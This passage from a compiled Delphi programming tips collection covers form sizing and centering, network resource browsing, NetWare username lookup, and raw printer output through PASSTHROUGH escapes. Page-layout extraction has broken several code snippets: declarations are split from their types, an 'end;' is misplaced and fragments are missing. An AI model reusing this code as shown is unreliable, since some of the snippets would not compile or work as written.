and in the implementation section : procedure TMyForm.WMGetMinMaxInfo(var Msg: TWMGetMinMaxInfo); begin { ---------------------------------------------} { Put your numbers in place of } { MIN_WIDTH, MIN_HEIGHT, MAX_WIDTH, MAX_HEIGHT } { } { To allow only horizontal sizing, put } { form's 'Height' property in place of MIN_HEIGHT, MAX_HEIGHT } { ---------------------------------------------} Msg.MinMaxInfo^.ptMinTrackSize := Point(MIN_WIDTH, MIN_HEIGHT); Msg.MinMaxInfo^.ptMaxTrackSize := Point(MAX_WIDTH, MAX_HEIGHT); inherited end;
It should work fine.
Preventing a From from Resizing Taken from Borland tech info articles 2958: Preventing a From from Resizing In some cases, developers would want to create a regular window (Form) in Delphi that contains some of the characteristics of a dialog box. For example, they do not want to allow their users to resize the form at runtime due to user interface design issues. Other than creating the whole form as a dialog box, there is not a property or a method to handle this in a regular window in Delphi. But due to the solid connection between Delphi and the API layer, developers can accomplish this easily. The following example demonstrates a way of handling the Windows message "WM_GetMinMaxInfo" which allows the developer to restrict the size of windows (forms) at runtime to a specific value. In this case, it will be used to disable the functionality of sizing the window (form) at runtime. Consider the following unit: unit getminmax; interface uses Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms, Dialogs; type TForm1 = class(TForm)
784
private { Private declarations } procedure WMGetMinMaxInfo(var Msg: TWMGetMinMaxInfo); message WM_GETMINMAXINFO; procedure WMInitMenuPopup(var Msg: TWMInitMenuPopup); message WM_INITMENUPOPUP; procedure WMNCHitTest(var Msg: TWMNCHitTest); message WM_NCHitTest; public { Public declarations } end; var Form1: TForm1; implementation {$R *.DFM} procedure TForm1.WMGetMinMaxInfo(var Msg: TWMGetMinMaxInfo); begin inherited; with Msg.MinMaxInfo^ do begin ptMinTrackSize.x:= form1.width;
end;
ptMaxTrackSize.x:= form1.width; ptMinTrackSize.y:= form1.height; ptMaxTrackSize.y:= form1.height;
end; procedure TForm1.WMInitMenuPopup(var Msg: TWMInitMenuPopup); begin inherited; if Msg.SystemMenu then EnableMenuItem(Msg.MenuPopup, SC_SIZE, MF_BYCOMMAND or MF_GRAYED) end; procedure TForm1.WMNCHitTest(var Msg: TWMNCHitTest); begin inherited; with Msg do if Result in [HTLEFT, HTRIGHT, HTBOTTOM, HTBOTTOMRIGHT, HTBOTTOMLEFT, HTTOP, HTTOPRIGHT, HTTOPLEFT] then Result:= HTNOWHERE end; end. { End of Unit}
A message handler for the windows message "WM_GetMinMaxInfo" in the code above was used to set the minimum and maximum TrackSize of the window to equal the width and height of the form at design time. That was actually enough to disable the resizing of the window (form), but the example went on to handle another couple of messages just to make the application look professional. The first message was the "WMInitMenuPopup" and that was to gray out the size option from the System Menu so that the application does not give the impression that this functionality is available. The second message was the "WMNCHitTest" and that was used to disable the change of the cursor icon whenever the mouse goes over one of the borders of the window (form) for the same reason which is not to give the impression that the resizing functionality is available.
785
messagedlg centering From: "Jonathan M. Bell"
Center a Form I had a problem with centering a form after I had changed its dimensions at run-time. The poScreenCenter only works when the form is shown. But if you change the dimensions at run time your form doesn't center automatically.
[Robert Meek, [email protected]] I've used this in my FormCreate, but I guess it could be called during an OnPaint whenever you change the size of the form too couldn't it?
786
Form1.Left := (Screen.Width div 2) - (Form.Width div 2); Form1.Top := (Screen.Height div 2) - (Form.Height div 2);
[Giuseppe Madaffari, [email protected]] if you use SetBounds, form won't be repainted twice (one time for Left assignment and other time for Top assignment). Try: procedure CenterForm(AForm:TForm); var ALeft,ATop:Integer; begin ALeft := (Screen.Width - AForm.Width) div 2; ATop := (Screen.Height - AForm.Height) div 2; AForm.SetBounds(ALeft, ATop, AForm.Widht, AForm.Height); end;
[Jaycen Dale, [email protected]] Procedure CenterForm(aForm: TForm); Begin aform.left := (screen.width - aform.width) shr 1; aform.top := (screen.height - aform.height) shr 1; End;
custom shaped forms? From: "vanmc"
787
{ Private declarations } procedure CreateParams(var Params: TCreateParams); override; public { Public declarations } end; var Form1: TForm1; implementation procedure TForm1.CreateParams(var Params: TCreateParams); begin inherited createparams(params); {This makes a borderless and captionless form} params.style:=params.style or ws_popup xor ws_dlgframe; end; {$R *.DFM} procedure TForm1.FormCreate(Sender: TObject); var formrgn:hrgn; begin {makes the form clear} form1.brush.style:=bsclear; {makes the form round} GetWindowRgn(form1.Handle, formRgn); DeleteObject(formRgn); formrgn:= CreateroundRectRgn(0, 0,form1.width,form1.width,form1.width,form1.width); SetWindowRgn(form1.Handle, formrgn, TRUE); end; procedure TForm1.SpeedButton1Click(Sender: TObject); begin form1.close; end; end.
minimize non-main forms to the taskbar From: David Watt
788
2. Create a procedure in the secondary form's implementation section which intercepts messages and puts in place a substitution for SC_MINIMIXE messages so that the Application.Minimize procedure is executed instead. All other messages pass through normally; they are inherited. procedure TForm2.WMSysCommand(var Message: TMessage); begin if (Message.WParam = SC_MINIMIZE) then Application.Minimize else inherited; end;
That's does the trick. Please email me and tell me if you liked this page. Last modified 03/12/00 12:07:38
789
Networking 58. Browsing for a Network Machine (ala Network Neighborhood) 59. Accessing Netware Usernames 60. How to Connect to a Network Drive in Delphi 61. accessing network drive mapping dialog 62. Detect my own IP Address ?
Browsing for a Network Machine (ala Network Neighborhood) From: [email protected] (Michael J. Loeffler) I started messing around with a utility like this, just for fun. I never finished it. I know it did work at the time. You might be able to use some of the code as a base point. Don't know if you feel like poring through the details, but hope it helps. {
}
Network resource utility. Neighborhood.
Similar in function to NetWork-
Michael J. Loeffler 1997.01.31
unit netres_main_unit; interface uses Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms, Dialogs, ComCtrls, StdCtrls, Buttons, Menus, ExtCtrls; type TfrmMain = class(TForm) tvResources: TTreeView; btnOK: TBitBtn; btnClose: TBitBtn; Label1: TLabel; barBottom: TStatusBar; popResources: TPopupMenu; mniExpandAll: TMenuItem; mniCollapseAll: TMenuItem; mniSaveToFile: TMenuItem; mniLoadFromFile: TMenuItem; grpListType: TRadioGroup; grpResourceType: TRadioGroup;
790
dlgOpen: TOpenDialog; dlgSave: TSaveDialog; procedure FormCreate(Sender: TObject); procedure btnCloseClick(Sender: TObject); procedure FormShow(Sender: TObject); procedure mniExpandAllClick(Sender: TObject); procedure mniCollapseAllClick(Sender: TObject); procedure mniSaveToFileClick(Sender: TObject); procedure mniLoadFromFileClick(Sender: TObject); procedure btnOKClick(Sender: TObject); private ListType, ResourceType: DWORD; procedure ShowHint(Sender: TObject); procedure DoEnumeration; procedure DoEnumerationContainer(NetResContainer: TNetResource); procedure AddContainer(NetRes: TNetResource); procedure AddShare(TopContainerIndex: Integer; NetRes: TNetResource); procedure AddShareString(TopContainerIndex: Integer; ItemName: String); procedure AddConnection(NetRes: TNetResource); public { Public declarations } end; var frmMain: TfrmMain; implementation {$R *.DFM} procedure TfrmMain.ShowHint(Sender: TObject); begin barBottom.Panels.Items[0].Text:=Application.Hint; end; procedure TfrmMain.FormCreate(Sender: TObject); begin Application.OnHint:=ShowHint; barBottom.Panels.Items[0].Text:=''; end; procedure TfrmMain.btnCloseClick(Sender: TObject); begin Close; end; {
Enumerate through all network resources: } procedure TfrmMain.DoEnumeration; var NetRes: Array[0..2] of TNetResource; Loop: Integer; r, hEnum, EntryCount, NetResLen: DWORD; begin case grpListType.ItemIndex of { Connected resources: } 1: ListType:=RESOURCE_CONNECTED; { Persistent resources: } 2: ListType:=RESOURCE_REMEMBERED; { Global: } else ListType:=RESOURCE_GLOBALNET; end;
791
case grpResourceType.ItemIndex of { Disk resources: } 1: ResourceType:=RESOURCETYPE_DISK; { Print resources: } 2: ResourceType:=RESOURCETYPE_PRINT; { All: } else ResourceType:=RESOURCETYPE_ANY; end; Screen.Cursor:=crHourGlass; try { Delete any old items in the tree view: } for Loop:=tvResources.Items.Count-1 downto 0 do tvResources.Items[Loop].Delete; except end; { Start enumeration: } r:=WNetOpenEnum(ListType,ResourceType,0,nil,hEnum); if r<>NO_ERROR then begin if r=ERROR_EXTENDED_ERROR then MessageDlg('Unable to Enumerate the Network.'+#13+ 'A network-specific error occurred.',mtError,[mbOK],0) else MessageDlg('Unable to Enumerate the Network.', mtError,[mbOK],0); Exit; end; try { We got a valid enumeration handle; walk the resources: } while (1=1) do begin EntryCount:=1; NetResLen:=SizeOf(NetRes); r:=WNetEnumResource(hEnum,EntryCount,@NetRes,NetResLen); case r of 0: begin { It's a container, iterate it: } if NetRes[0].dwUsage=RESOURCEUSAGE_CONTAINER then DoEnumerationContainer(NetRes[0]) else { Persistent and connected resources show up here: } if ListType in [RESOURCE_REMEMBERED,RESOURCE_CONNECTED] then AddConnection(NetRes[0]); end; { Done: } ERROR_NO_MORE_ITEMS: Break; { Other error: } else begin MessageDlg('Error Walking Resources.',mtError,[mbOK],0); Break; end; end; end; finally Screen.Cursor:=crDefault; { Close enumeration handle: } WNetCloseEnum(hEnum); end; end;
792
{ Enumerate through the specified container: This function is usually recursively called.
} procedure TfrmMain.DoEnumerationContainer(NetResContainer: TNetResource); var NetRes: Array[0..10] of TNetResource; TopContainerIndex: Integer; r, hEnum, EntryCount, NetResLen: DWORD; begin { Add container name to tree view: } AddContainer(NetResContainer); { Keep track of this item as current root: } TopContainerIndex:=tvResources.Items.Count-1; { Start enumeration: } if ListType=RESOURCE_GLOBALNET then { Enumerating global net: } r:=WNetOpenEnum(ListType,ResourceType,RESOURCEUSAGE_CONTAINER, @NetResContainer,hEnum) else { Enumerating connections or persistent (won't normally get here): } r:=WNetOpenEnum(ListType,ResourceType,RESOURCEUSAGE_CONTAINER, nil,hEnum); { Couldn't enumerate through this container; just make a note of it and continue on: } if r<>NO_ERROR then begin AddShareString(TopContainerIndex,'
793
end; end; end; { Close enumeration handle: } WNetCloseEnum(hEnum); end; procedure TfrmMain.FormShow(Sender: TObject); begin DoEnumeration; end; { Add item to tree view; indicate that it is a container: } procedure TfrmMain.AddContainer(NetRes: TNetResource); var ItemName: String; begin ItemName:=Trim(String(NetRes.lpRemoteName)); if Trim(String(NetRes.lpComment))<>'' then begin if ItemName<>'' then ItemName:=ItemName+' '; ItemName:=ItemName+'('+String(NetRes.lpComment)+')'; end; tvResources.Items.Add(tvResources.Selected,ItemName); end; {
Add child item to container denoted as current top: } procedure TfrmMain.AddShare(TopContainerIndex: Integer; NetRes: TNetResource); var ItemName: String; begin ItemName:=Trim(String(NetRes.lpRemoteName)); if Trim(String(NetRes.lpComment))<>'' then begin if ItemName<>'' then ItemName:=ItemName+' '; ItemName:=ItemName+'('+String(NetRes.lpComment)+')'; end; tvResources.Items.AddChild(tvResources.Items[TopContainerIndex],ItemName); end; { Add child item to container denoted as current top; this just adds a string for purposes such as being unable to enumerate a container. That is, the container's shares are not accessible to us.
} procedure TfrmMain.AddShareString(TopContainerIndex: Integer; ItemName: String); begin tvResources.Items.AddChild(tvResources.Items[TopContainerIndex],ItemName); end; { Add a connection to the tree view. Mostly used for persistent and currently connected resources to be displayed.
} procedure TfrmMain.AddConnection(NetRes: TNetResource);
794
var ItemName: String; begin ItemName:=Trim(String(NetRes.lpLocalName)); if Trim(String(NetRes.lpRemoteName))<>'' then begin if ItemName<>'' then ItemName:=ItemName+' '; ItemName:=ItemName+'-> '+Trim(String(NetRes.lpRemoteName)); end; tvResources.Items.Add(tvResources.Selected,ItemName); end; { Expand all containers in the tree view: } procedure TfrmMain.mniExpandAllClick(Sender: TObject); begin tvResources.FullExpand; end; { Collapse all containers in the tree view: } procedure TfrmMain.mniCollapseAllClick(Sender: TObject); begin tvResources.FullCollapse; end; { Allow saving of tree view to a file: } procedure TfrmMain.mniSaveToFileClick(Sender: TObject); begin if dlgSave.Execute then tvResources.SaveToFile(dlgSave.FileName); end; { Allow loading of tree view from a file: } procedure TfrmMain.mniLoadFromFileClick(Sender: TObject); begin if dlgOpen.Execute then tvResources.LoadFromFile(dlgOpen.FileName); end; { Rebrowse: } procedure TfrmMain.btnOKClick(Sender: TObject); begin DoEnumeration; end; end.
Accessing Netware Usernames From: "Ryan Smith"
795
unit GetLogin; {This unit is a wrapper for several external functions in the NWCALLS.DLL} {Adapted by Ray Buck from code written by Gregory Trubetskoy} {The unit contains a function that returns the Netware User ID} {and one that returns the user's full name.} interface uses SysUtils, Messages, Dialogs; function GetUserLogin: string; function GetUserFullName( SomeUser: string): string; implementation type NWTimeStamp = record Year: byte; Month: byte; Day: byte; Hour: byte; Minute: byte; Second: byte; DayOfWeek: byte; end; {Netware API's - require NWCALLS.DLL} function NWGetDefaultConnectionID(var Connection: word): word; far; external 'NWCALLS'; function NWGetConnectionNumber(Connection: word; var ConnectionNumber: word): word; far; external 'NWCALLS'; function NWGetConnectionInformation(Connection: word; ConnectionNumber: word; ObjectName: pchar; var ObjectType: word; var ObjectID: word; var LoginTime: NWTimeStamp):word; far; external 'NWCALLS'; function NWReadPropertyValue(Connection: ObjectName: ObjectType: PropertyName: DataSetIndex: DataBuffer: var More: var Flags: far; external 'NWCALLS'; { end of Netware API stuff }
word; pChar; word; pChar; byte; pChar; byte; byte): word;
function GetUserLogin: string; var ConnectionID: word; ConnectionNumber: word; RC: word; Name: array[0..50] of Char; ObjectType: word; ObjectID: word; LoginTime: NWTimeStamp; begin RC := NWGetDefaultConnectionID(ConnectionID); RC := NWGetConnectionNumber(ConnectionID, ConnectionNumber); RC := NWGetConnectionInformation( ConnectionID, ConnectionNumber,
796
Name, ObjectType, ObjectID, LoginTime); Result := StrPas(Name); end; function GetUserFullName( SomeUser: string): string; {The real user name is a 'property' called 'IDENTIFICATON'. You have to call NWReadPropertyValue passing it (among other things) your ConnectionID, the name of the object (same as the login of the user who's full name you need) and the name property you want to retrieve, in this case 'IDENTIFICATION' (which translated from Novellish to English means 'Full Name').} var ConnectionID: word; RC: word; Name: array[0..50] of Char; ObjectType: word; PropName: array[0..14] of Char; DataSetIndex: byte; FullName: array[0..127] of Char; More: byte; Flags: byte; begin RC := NWGetDefaultConnectionID(ConnectionID); ObjectType := 256; {user} StrPCopy(PropName, 'IDENTIFICATION'); DataSetIndex := 1; StrPCopy(Name, SomeUser); RC := NWReadPropertyValue( ConnectionID, Name, ObjectType, PropName, DataSetIndex, FullName, More, Flags); if RC = 35324 then MessageDlg('No user ' + SomeUser + ' exists on this server!', mtError, [mbOK], 0); Result := StrPas(FullName); end; end.
How to Connect to a Network Drive in Delphi This document explains how to create a 'Network' button that brings up a connection dialog and then sets a drive box to point to the new drive in Delphi. The code was created in Delphi 2, but doing it in Delphi 1 should be about the same procedure. Create a command button named NetBtn, and a drive combo box named DriveBox. Then type this code in the OnClick event for the button: procedure TStartForm.NetBtnClick(Sender: TObject); var OldDrives: TStringList; i: Integer; begin OldDrives := TStringList.Create;
797
OldDrives.Assign(Drivebox.Items); // Remember old drive list // Show the connection dialog if WNetConnectionDialog(Handle, RESOURCETYPE_DISK) = NO_ERROR then begin DriveBox.TextCase := tcLowerCase; // Refresh the drive list box for i := 0 to DriveBox.Items.Count - 1 do begin if Olddrives.IndexOf(Drivebox.Items[i]) = -1 then begin // Find new Drive letter DriveBox.ItemIndex := i; // Updates the drive list box to new drive letter DriveBox.Drive := DriveBox.Text[1]; // Cascades the update to connected directory lists, etc end; end; DriveBox.SetFocus; end; OldDrives.Free; end;
You must also add the WinProcs and WinTypes units to the uses clause of your unit. The difficult part here is that the DriveComboBox lacks a refresh function. By setting the TextCase property, we force an update of the box. Copyright © 1997 by Josef Garvi
accessing network drive mapping dialog From: Edward McSweeney
Detect my own IP Address ? From: Andreas Hoerstemeier
798
end;
This give the (first) network address of the local computer, and if not connected the 127.0.0.1 as the standard address for the local computer. You only need a winsock.dcu/winsock.pas as this one isn't included with D1; I have one together with my tcpip component pack (where I snipped out the above routine). Please email me and tell me if you liked this page. Last modified 03/12/00 12:09:27
799
Printer 63. Help on Printer Control Codes 64. How to get Paper Source? 65. Printing Rotated text...printer2 66. Stretched bitmap on TPrinter 67. How to print a bitmap? 68. Dump a text file 69. Printing a line at a time 70. Printing Tricks 71. Passthough escape function 72. How to print exact sizes 73. Windows API about Printer 74. Property changes in same printprinter11 75. Paper Formatsprinter12
Help on Printer Control Codes From: [email protected] (David Block) Vincent Lim
You need to use the Passthrough printer Escape function to send data directly to the printer. If you're using WriteLn, then it won't work. Here's some code to get you started: unit Passthru; interface uses printers, WinProcs, WinTypes, SysUtils; Procedure
PrintTest;
implementation Type
TPassThroughData = Record nLen : Integer; Data : Array[0..255] of byte; end;
Procedure DirectPrint(s : String); var PTBlock : TPassThroughData; Begin PTBlock.nLen := Length(s); StrPCopy(@PTBlock.Data,s); Escape(printer.handle, PASSTHROUGH,0,@PTBlock,nil); End;
800
Procedure PrintTest; Begin Printer.BeginDoc; DirectPrint(CHR(27)+'&l1O'+'Hello, World!'); Printer.EndDoc; End; end.
How to get Paper Source? 'Joe C. Hecht'
Another way is to change TPrinter. This will enable you to change settings in mid job. You must make the change >>>between<<< pages. To do this: Before every startpage() command in printers.pas in the Source\VCL directory add something like: DevMode.dmPaperSize:=DMPAPER_LEGAL {any other devicemode settings go here} Windows.ResetDc(dc,Devmode^);
801
This will reset the pagesize. you can look up DEVMODE in the help to find other paper sizes. You will need to rebuild the vcl source for this to work, by adding the path to the VCL source directory to the beginning of the library path s tatement under tools..options.. library...libaray path. Quit Delphi then do a build all. Another quick note... When changing printers, be aware that fontsizes may not always scale properly. To ensure proper scaling set the PixelsPerInch property of the font. Here are two examples: uses Printers; var MyFile: TextFile; begin AssignPrn(MyFile); Rewrite(MyFile); Printer.Canvas.Font.Name := 'Courier New'; Printer.Canvas.Font.Style := [fsBold]; Printer.Canvas.Font.PixelsPerInch:= GetDeviceCaps(Printer.Canvas.Handle, LOGPIXELSY); Writeln(MyFile, 'Print this text'); System.CloseFile(MyFile); end;
uses Printers; begin Printer.BeginDoc; Printer.Canvas.Font.Name := 'Courier New'; Printer.Canvas.Font.Style := [fsBold]; Printer.Canvas.Font.PixelsPerInch:= GetDeviceCaps(Printer.Canvas.Handle, LOGPIXELSY); Printer.Canvas.Textout(10, 10, 'Print this text'); Printer.EndDoc; end;
Printing Rotated text... 1. From: "Peter Szymiczek"
802
procedure AngleTextOut(CV: TCanvas; const sText: String; x, y, angle:integer); var LogFont: TLogFont; SaveFont: TFont; begin SaveFont := TFont.Create; SaveFont.Assign(CV.Font); GetObject(SaveFont.Handle, sizeof(TLogFont), @LogFont); with LogFont do begin lfEscapement := angle *10; lfPitchAndFamily := FIXED_PITCH or FF_DONTCARE; end; {with} CV.Font.Handle := CreateFontIndirect(LogFont); SetBkMode(CV.Handle, TRANSPARENT); CV.TextOut(x, y, sText); CV.Font.Assign(SaveFont); SaveFont.Free; end;
2. From: Jukka Palomäki
Draw(x, y, b2); b1.Free; b2.Free; end end;
3. From: "Dmitry"
.... and then I used any draw text function for text output. 4. "Eric Lawrence"
803
The method (1) shown is quite slow, as it requires drawing the text, and then inefficiently rotating it. Try this instead: procedure TForm1.TextUp(aRect:tRect;aTxt:String); var LFont: TLogFont; hOldFont, hNewFont: HFont; begin GetObject(Canvas.Font.Handle,SizeOf(LFont),Addr(LFont)); LFont.lfEscapement := 900; hNewFont := CreateFontIndirect(LFont); hOldFont := SelectObject(Canvas.Handle,hNewFont); Canvas.TextOut(aRect.Left+2,aRect.Top,aTxt); hNewFont := SelectObject(Canvas.Handle,hOldFont); DeleteObject(hNewFont); end;
Stretched bitmap on TPrinter [email protected] (Alexander Wernhart) On Tue, 4 Feb 1997 20:54:43 -0300, Ruy Ponce de Leon Junior
Try this: procedure DrawImage(Canvas: TCanvas; DestRect: TRect; ABitmap: TBitmap); var Header, Bits: Pointer; HeaderSize: Integer; BitsSize: Longint; begin GetDIBSizes(ABitmap.Handle, HeaderSize, BitsSize); Header := MemAlloc(HeaderSize); Bits := MemAlloc(BitsSize); try GetDIB(ABitmap.Handle, ABitmap.Palette, Header^, Bits^); StretchDIBits(Canvas.Handle, DestRect.Left, DestRect.Top, DestRect.Right, DestRect.Bottom, 0, 0, ABitmap.Width, ABitmap.Height, Bits,TBitmapInfo(Header^), DIB_RGB_COLORS, SRCCOPY); { you might want to try DIB_PAL_COLORS instead, but this is well beyond the scope of my knowledge. } finally MemFree(Header, HeaderSize); MemFree(Bits, BitsSize); end; end; { Print a Bitmap using the whole Printerpage } procedure PrintBitmap(ABitmap: TBitmap); var relheight, relwidth: integer;
804
begin screen.cursor := crHourglass; Printer.BeginDoc; if ((ABitmap.width / ABitmap.height) > (printer.pagewidth /printer.pageheight)) then begin { Stretch Bitmap to width of Printerpage } relwidth := printer.pagewidth; relheight := MulDiv(ABitmap.height, printer.pagewidth,ABitmap.width); end else begin { Stretch Bitmap to height of Printerpage } relwidth := MulDiv(ABitmap.width, printer.pageheight, ABitmap.height); relheight := printer.pageheight; end; DrawImage(Printer.Canvas, Rect(0, 0, relWidth, relHeight), ABitmap); Printer.EndDoc; screen.cursor := crDefault; end;
How to print a bitmap? Use the following code. Remember to include the Printers unit in the uses clause : Lines followed by // ** are essential. The others are to get the scaling correct otherwise you end up with extremely small images. Printer resolutions are higher than your screen resolution. procedure TForm1.Button1Click(Sender: TObject); var ScaleX, ScaleY: Integer; R: TRect; begin Printer.BeginDoc; // ** with Printer do try ScaleX := GetDeviceCaps(Handle, logPixelsX) div PixelsPerInch; ScaleY := GetDeviceCaps(Handle, logPixelsY) div PixelsPerInch; R := Rect(0, 0, Image1.Picture.Width * ScaleX, Image1.Picture.Height * ScaleY); Canvas.StretchDraw(R, Image1.Picture.Graphic); // ** finally EndDoc; // ** end; end;
Dump a text file From: Chris Monson
805
Then use WriteFile to send a string of characters or use While not TransmitCommChar( LPTHandle, CharToSend ) do Application.ProcessMessages;
It sends one raw character at a time to the parallel port. It waits for the recent character to get processed and then immediately sends a new one. I got it printing stuff pretty fast.
Printing a line at a time From: Peter van Lonkhuyzen
According to M$ this is illegal as it "defeats the multitasking nature" but I needed the same functionality. I created the following derivative of the TPrinter object. It works perfectly on dotmatrix printers. sample usage var Myprinter : TRawPrinter; oldprinter : TPrinter; begin MyPrinter:=TRawPrinter.Create; oldprinter:=setprinter(MyPrinter); try if Printdialog1.execute then begin myprinter.startraw; myprinter.write('khsdhskhkshdksd'); myprinter.writeln; myprinter.endraw; end finally setprinter(oldprinyter); myprinter.free; end end;
Here is the code for the raw printer object. unit Rawprinter; interface uses printers,windows; type TRawprinter =class(TPrinter) public dc2 : HDC; procedure startraw; procedure endraw; procedure write(const s : string); procedure writeln; end; implementation
806
uses sysutils,forms; function AbortProc(Prn: HDC; Error: Integer): Bool; stdcall; begin Application.ProcessMessages; Result := not Printer.Aborted; end; type TPrinterDevice = class Driver, Device, Port: String; constructor Create(ADriver, ADevice, APort: PChar); function IsEqual(ADriver, ADevice, APort: PChar): Boolean; end; constructor TPrinterDevice.Create(ADriver, ADevice, APort: PChar); begin inherited Create; Driver := ADriver; Device := ADevice; Port := APort; end; function TPrinterDevice.IsEqual(ADriver, ADevice, APort: PChar): Boolean; begin Result := (Device = ADevice) and (Port = APort); end; procedure TRawprinter.startraw; var CTitle: array[0..31] of Char; CMode : Array[0..4] of char; DocInfo: TDocInfo; r : integer; begin StrPLCopy(CTitle, Title, SizeOf(CTitle) - 1); StrPCopy(CMode, 'RAW'); FillChar(DocInfo, SizeOf(DocInfo), 0); with DocInfo do begin cbSize := SizeOf(DocInfo); lpszDocName := CTitle; lpszOutput := nil; lpszDatatype :=CMode; end; with TPrinterDevice(Printers.Objects[PrinterIndex]) do begin DC2 := CreateDC(PChar(Driver), PChar(Device), PChar(Port), nil); end; SetAbortProc(dc2, AbortProc); r:=StartDoc(dc2, DocInfo); end; procedure TRawprinter.endraw; var r : integer; begin r:=windows.enddoc(dc2); end; type passrec = packed record l : word; s : Array[0..255] of char; end; var pass : Passrec; procedure TRawprinter.write(const s : string);
807
begin pass.l:=length(s); strpcopy(pass.s,s); escape(dc2,PASSTHROUGH,0,@pass,nil); end; procedure TRawprinter.writeln; begin pass.l:=2; strpcopy(pass.s,#13#10); escape(dc2,PASSTHROUGH,0,@pass,nil); end; end.
Printing Tricks [email protected] (Robert Gilland) "Guy Vandenberg"
= 0.04;
record X,Y: Integer; end;
var FDeviceName : String; {Get the name} FPageHeightPixel, FPageWidthPixel : Integer ; {Page height and Page Width} FOrientation : TPrinterOrientation; {Orientation} FPrintOffsetPixels : TOffset; FPixelsPerMMX,FPixelsPerMMY: Real; MMSize, FPageHeightMM : Integer; TheReport, TheHead, HeadLine, RecordLine, TFname, TLname :String; procedure TMissing_Rep.GetDeviceSettings; var retval: integer; PixX, PixY: Integer; begin FDeviceName := Printer.Printers[Printer.PrinterIndex]; {Get the name} FPageHeightPixel := Printer.PageHeight; {Page height} FPageWidthPixel := Printer.PageWidth; {Page Width} FOrientation := Printer.Orientation; {Orientation} {Get the printable area offsets} {$IFDEF WIN32} FPrintOffsetPixels.X := GetDeviceCaps(Printer.Handle, PHYSICALOFFSETX); FPrintOffsetPixels.Y := GetDeviceCaps(Printer.Handle, PHYSICALOFFSETY); {$ELSE} retval := Escape(Printer.Handle,GETPRINTINGOFFSET, 0, nil, @FPrintOffsetPixels); {$ENDIF}
808
{Get Pixels per Milimeter Ratio} PixX := GetDeviceCaps(Printer.Handle, LOGPIXELSX); PixY := GetDeviceCaps(Printer.Handle, LOGPIXELSY); FPixelsPerMMX := INCHES_PER_MILIMETER * PixX; FPixelsPerMMY := INCHES_PER_MILIMETER * PixY; FPageHeightMM := Round(FPageHeightPixel/FPixelsPerMMY); end; function TMissing_Rep.PutText(mmX,mmY: Integer; S: string; LeftAlign: Boolean): boolean; var X, Y: Integer; align: WORD; begin if LeftAlign then align := SetTextAlign(Printer.Handle,TA_BOTTOM or TA_LEFT) else align := SetTextAlign(Printer.Handle,TA_BOTTOM or TA_RIGHT); result := FALSE; {Assume fail} X := Trunc(mmX * FPixelsPerMMX) - FPrintOffsetPixels.X; Y := Trunc(mmY * FPixelsPerMMY) - FPrintOffsetPixels.Y; if X < 0 then exit; if Y < 0 then exit; Printer.Canvas.TextOut(X,Y,S); result := TRUE; end; procedure TMissing_Rep.Print_ButClick(Sender: TObject); var PixelSize: Integer; begin Print_But.Enabled := False; if PrintDialog1.Execute then begin Printer.Canvas.Font := Missing_Rep.Font; PixelSize := Printer.Canvas.TextHeight('Yy'); MMSize := Round(PixelSize/FPixelsPerMMY); Printer.Title := 'Breast Cancer Project Missing Report'; Printer.BeginDoc; { begin to send print job to printer } PrintGenerator; Printer.EndDoc; { EndDoc ends and starts printing print job } end; Print_But.Enabled := True; end; procedure TMissing_Rep.PrintGenerator; Var yLoc , NumRows, TheRow :Integer; procedure Heading; begin yLoc := 20; PutText(20, 20, TheHead, TRUE); yLoc := yLoc + MMSize; PutText(20, yLoc, StringGrid1.Cells[0,0], PutText(60, yLoc, StringGrid1.Cells[1,0], PutText(100, yLoc, StringGrid1.Cells[2,0], PutText(120, yLoc, StringGrid1.Cells[3,0], PutText(150, yLoc, StringGrid1.Cells[4,0], yLoc := yLoc + MMSize; end;
TRUE); TRUE); TRUE); TRUE); TRUE);
procedure Footer; begin
809
PutText(100,FPageHeightMM,InttoStr(Printer.PageNumber), TRUE); end; begin Heading; TheRow := 1; while (TheRow < StringGrid1.RowCount) do begin if (yLoc > (FPageHeightMM - MMSize)) then begin Footer; Printer.NewPage; Heading; end; TheGauge.Progress := Round(100 * TheRow/(StringGrid1.RowCount - 1)); PutText(20, yLoc, StringGrid1.Cells[0,TheRow], TRUE); PutText(60, yLoc, StringGrid1.Cells[1,TheRow], TRUE); PutText(100, yLoc, StringGrid1.Cells[2,TheRow], TRUE); PutText(120, yLoc, StringGrid1.Cells[3,TheRow], TRUE); PutText(150, yLoc, StringGrid1.Cells[4,TheRow], TRUE); yLoc := yLoc + MMSize; TheRow := TheRow + 1; end; Footer; end;
Passthough escape function "Joe C. Hecht"
Although Delphi's TPrinter unit makes it easy to interface to a given printer, there are times when you may need to drop down to the printers level and send device specific escape sequences. Under sixteen bit versions of Windows, this was as easy as opening the printer port, but under Windows NT, directly accessing the hardware is is illegal. One solution is to use the Windows "PASSTHROUGH" escape to send an escape sequence directly to the printer. In order to use the "PASSTHROUGH" escape, it must be supported by the printer driver. Be forwarned that not all printer drivers will support this feature. It's worth noting that the "PASSTHROUGH" escape is documented as obsolete for thirtytwo bit applications. It should be a number of years before this escape goes by the way, since it is used in many commercial applications. The example code presented is not targeted to any specific printer model. You will need to know the correct escape sequences to send to the printer you are interfacing to. Note that you must still call the BeginDoc and EndDoc methods of TPrinter. During the BeginDoc call, the printer driver initializes the printer as necessary, and during the EndDoc call, the printer driver will uninitialize the printer and eject the page. When you do make your escape call, the printer may be set for the current windows mapping mode if the printer supports scaling internaly. Technically, you should not do anything that would cause the printer memory to be reset, or eject a page with an escape sequence. In other words, try 810
to leave the printer in the same state it was in when you made your escape. This is more important on intellegent printers (Postscript printers), and not important at all on a standard TTY line printer, where you can do just about anything you like, including ejecting pages. Code Example: You will need to declare a structure to hold the buffer you are sending. The structure of the buffer is defined as a word containing the length of the buffer, followed by the buffer containing the data. Before making the escape call to pass the data, we will use the escape "QUERYESCSUPPORT" to determine if the "PASSTHROUGH" escape is supported by the print driver. Finally, be aware that your data will be inserted directly into the printers data stream. On some printer models (Postscript), you may need to add a space to the start and end of your data to separate your data from the printer drivers data. (Postscript is a Registered Trademark of Adobe Systems Incorporated) *) unit Esc1; interface uses SysUtils, WinTypes, WinProcs, Messages, Classes, Graphics, Controls, Forms, Dialogs, StdCtrls; type TForm1 = class(TForm) Button1: TButton; procedure Button1Click(Sender: TObject); private { Private declarations } public { Public declarations } end; var Form1: TForm1; implementation { add the printers unit } uses Printers; {$R *.DFM} { declare the "PASSTHROUGH" structure } type TPrnBuffRec = record BuffLength : word; Buffer : array [0..255] of char; end; procedure TForm1.Button1Click(Sender: TObject); var Buff : TPrnBuffRec; 